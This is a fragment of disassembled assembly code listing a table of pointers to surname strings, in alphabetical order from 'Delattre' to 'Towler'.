		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
		dd offset aMaccormac	; "Maccormac"
		dd offset aMacdonald	; "Macdonald"
		dd offset aMaceachern	; "Maceachern"
		dd offset aMacintyre	; "Macintyre"
		dd offset aMackenney	; "Mackenney"
		dd offset aMacmillan	; "MacMillan"
		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
